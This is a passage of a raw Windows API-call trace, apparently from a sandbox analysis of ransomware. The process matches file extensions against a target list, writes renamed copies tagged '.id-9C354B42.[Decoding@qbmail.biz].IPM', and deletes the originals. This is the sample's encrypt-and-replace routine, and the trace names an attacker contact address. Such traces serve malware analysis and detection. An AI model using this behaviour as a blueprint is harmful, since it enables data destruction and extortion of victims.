lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0092.819] lstrlenW (lpString=".7z") returned 3 [0092.819] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0092.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0092.819] lstrlenW (lpString=".dbf") returned 4 [0092.819] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0092.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0092.819] lstrlenW (lpString=".1cd") returned 4 [0092.820] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0092.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0092.820] lstrlenW (lpString=".jpg") returned 4 [0092.820] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0092.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0092.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0092.820] lstrlenW (lpString=".doc") returned 4 [0092.820] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0092.820] lstrlenW (lpString=".docx") returned 5 [0092.820] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0092.820] lstrlenW (lpString=".pdf") returned 4 [0092.820] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0092.820] lstrlenW (lpString=".xls") returned 4 [0092.820] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0092.820] lstrlenW (lpString=".xlsx") returned 5 [0092.820] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0092.820] lstrlenW (lpString=".ppt") returned 4 [0092.821] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0092.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0092.821] lstrlenW (lpString=".zip") returned 4 [0092.821] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0092.821] lstrlenW (lpString=".rar") returned 4 [0092.821] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0092.821] lstrlenW (lpString=".bz2") returned 4 [0092.821] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0092.821] lstrlenW (lpString=".7z") returned 3 [0092.821] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0092.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0092.821] lstrlenW (lpString=".dbf") returned 4 [0092.821] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0092.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0092.821] lstrlenW (lpString=".1cd") returned 4 [0092.821] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0092.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0092.821] lstrlenW (lpString=".jpg") returned 4 [0092.821] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0092.822] lstrcmpiW (lpString1=".GIF", lpString2=".IPM") returned -1 [0092.822] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0092.822] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0093.670] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=2181) returned 1 [0093.671] CloseHandle (hObject=0x18c) returned 1 [0093.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 0x20 [0093.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0093.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0093.671] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0093.671] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0093.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0093.882] GetLastError () returned 0x0 [0093.882] ReadFile (in: hFile=0x18c, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x885, lpOverlapped=0x0) returned 1 [0094.111] WriteFile (in: hFile=0x1d8, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x890, lpOverlapped=0x0) returned 1 [0094.116] ReadFile (in: hFile=0x18c, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0094.116] WriteFile (in: hFile=0x1d8, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xea, lpOverlapped=0x0) returned 1 [0094.117] SetEndOfFile (hFile=0x1d8) returned 1 [0094.117] CloseHandle (hObject=0x1d8) returned 1 [0094.117] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0094.117] SetEndOfFile (hFile=0x18c) returned 1 [0094.118] CloseHandle (hObject=0x18c) returned 1 [0094.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0094.119] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 1 [0094.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0094.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0094.119] lstrlenW (lpString=".doc") returned 4 [0094.119] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0094.119] lstrlenW (lpString=".docx") returned 5 [0094.119] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0094.119] lstrlenW (lpString=".pdf") returned 4 [0094.119] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0094.119] lstrlenW (lpString=".xls") returned 4 [0094.119] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0094.119] lstrlenW (lpString=".xlsx") returned 5 [0094.119] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0094.119] lstrlenW (lpString=".ppt") returned 4 [0094.120] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0094.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0094.120] lstrlenW (lpString=".zip") returned 4 [0094.120] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0094.120] lstrlenW (lpString=".rar") returned 4 [0094.120] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0094.120] lstrlenW (lpString=".bz2") returned 4 [0094.120] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0094.120] lstrlenW (lpString=".7z") returned 3 [0094.120] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0094.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0094.120] lstrlenW (lpString=".dbf") returned 4 [0094.120] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0094.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0094.120] lstrlenW (lpString=".1cd") returned 4 [0094.120] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0094.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0094.120] lstrlenW (lpString=".jpg") returned 4 [0094.120] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0094.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0094.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0094.121] lstrlenW (lpString=".doc") returned 4 [0094.121] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0094.121] lstrlenW (lpString=".docx") returned 5 [0094.121] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0094.121] lstrlenW (lpString=".pdf") returned 4 [0094.121] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0094.121] lstrlenW (lpString=".xls") returned 4 [0094.121] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0094.121] lstrlenW (lpString=".xlsx") returned 5 [0094.121] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0094.121] lstrlenW (lpString=".ppt") returned 4 [0094.121] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0094.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0094.121] lstrlenW (lpString=".zip") returned 4 [0094.121] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0094.121] lstrlenW (lpString=".rar") returned 4 [0094.121] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0094.121] lstrlenW (lpString=".bz2") returned 4 [0094.121] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0094.121] lstrlenW (lpString=".7z") returned 3 [0094.122] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0094.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0094.122] lstrlenW (lpString=".dbf") returned 4 [0094.123] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0094.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0094.123] lstrlenW (lpString=".1cd") returned 4 [0094.123] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0094.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0094.123] lstrlenW (lpString=".jpg") returned 4 [0094.123] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0094.123] lstrcmpiW (lpString1=".PNG", lpString2=".IPM") returned 1 [0094.123] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0094.123] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0094.141] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=31837) returned 1 [0094.141] CloseHandle (hObject=0x1d8) returned 1 [0094.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 0x20 [0094.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0094.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0094.142] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0094.142] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0094.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0094.142] GetLastError () returned 0x0 [0094.142] ReadFile (in: hFile=0x1d8, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x7c5d, lpOverlapped=0x0) returned 1 [0094.169] WriteFile (in: hFile=0x1ec, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x7c60, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x7c60, lpOverlapped=0x0) returned 1 [0094.171] ReadFile (in: hFile=0x1d8, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0094.171] WriteFile (in: hFile=0x1ec, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.172] SetEndOfFile (hFile=0x1ec) returned 1 [0094.172] CloseHandle (hObject=0x1ec) returned 1 [0094.172] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0094.172] SetEndOfFile (hFile=0x1d8) returned 1 [0094.173] CloseHandle (hObject=0x1d8) returned 1 [0094.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0094.174] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 1 [0094.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0094.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0094.174] lstrlenW (lpString=".doc") returned 4 [0094.174] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0094.174] lstrlenW (lpString=".docx") returned 5 [0094.174] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0094.174] lstrlenW (lpString=".pdf") returned 4 [0094.174] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0094.174] lstrlenW (lpString=".xls") returned 4 [0094.174] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0094.174] lstrlenW (lpString=".xlsx") returned 5 [0094.175] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0094.175] lstrlenW (lpString=".ppt") returned 4 [0094.175] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0094.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0094.175] lstrlenW (lpString=".zip") returned 4 [0094.175] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0094.175] lstrlenW (lpString=".rar") returned 4 [0094.175] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0094.175] lstrlenW (lpString=".bz2") returned 4 [0094.175] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0094.175] lstrlenW (lpString=".7z") returned 3 [0094.175] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0094.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0094.175] lstrlenW (lpString=".dbf") returned 4 [0094.175] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0094.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0094.175] lstrlenW (lpString=".1cd") returned 4 [0094.175] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0094.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0094.175] lstrlenW (lpString=".jpg") returned 4 [0094.175] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0094.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0094.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0094.176] lstrlenW (lpString=".doc") returned 4 [0094.176] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0094.176] lstrlenW (lpString=".docx") returned 5 [0094.176] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0094.176] lstrlenW (lpString=".pdf") returned 4 [0094.176] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0094.176] lstrlenW (lpString=".xls") returned 4 [0094.176] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0094.176] lstrlenW (lpString=".xlsx") returned 5 [0094.176] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0094.176] lstrlenW (lpString=".ppt") returned 4 [0094.176] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0094.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0094.176] lstrlenW (lpString=".zip") returned 4 [0094.176] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0094.176] lstrlenW (lpString=".rar") returned 4 [0094.176] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0094.176] lstrlenW (lpString=".bz2") returned 4 [0094.176] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0094.176] lstrlenW (lpString=".7z") returned 3 [0094.176] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0094.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0094.176] lstrlenW (lpString=".dbf") returned 4 [0094.176] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0094.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0094.177] lstrlenW (lpString=".1cd") returned 4 [0094.177] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0094.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0094.177] lstrlenW (lpString=".jpg") returned 4 [0094.177] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0094.177] lstrcmpiW (lpString1=".GIF", lpString2=".IPM") returned -1 [0094.177] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0094.177] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0094.178] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=945) returned 1 [0094.178] CloseHandle (hObject=0x1d8) returned 1 [0094.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 0x20 [0094.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0094.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0094.181] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0094.181] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0094.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0094.216] GetLastError () returned 0x0 [0094.216] ReadFile (in: hFile=0x1d8, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x3b1, lpOverlapped=0x0) returned 1 [0094.220] WriteFile (in: hFile=0x1ec, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x3c0, lpOverlapped=0x0) returned 1 [0094.221] ReadFile (in: hFile=0x1d8, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0094.221] WriteFile (in: hFile=0x1ec, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xea, lpOverlapped=0x0) returned 1 [0094.221] SetEndOfFile (hFile=0x1ec) returned 1 [0094.222] CloseHandle (hObject=0x1ec) returned 1 [0094.222] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0094.222] SetEndOfFile (hFile=0x1d8) returned 1 [0094.223] CloseHandle (hObject=0x1d8) returned 1 [0094.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0094.536] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 1 [0094.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0094.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0094.537] lstrlenW (lpString=".doc") returned 4 [0094.537] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0094.537] lstrlenW (lpString=".docx") returned 5 [0094.537] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0094.537] lstrlenW (lpString=".pdf") returned 4 [0094.537] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0094.537] lstrlenW (lpString=".xls") returned 4 [0094.537] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0094.537] lstrlenW (lpString=".xlsx") returned 5 [0094.537] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0094.537] lstrlenW (lpString=".ppt") returned 4 [0094.537] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0094.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0094.537] lstrlenW (lpString=".zip") returned 4 [0094.537] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0094.537] lstrlenW (lpString=".rar") returned 4 [0094.537] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0094.537] lstrlenW (lpString=".bz2") returned 4 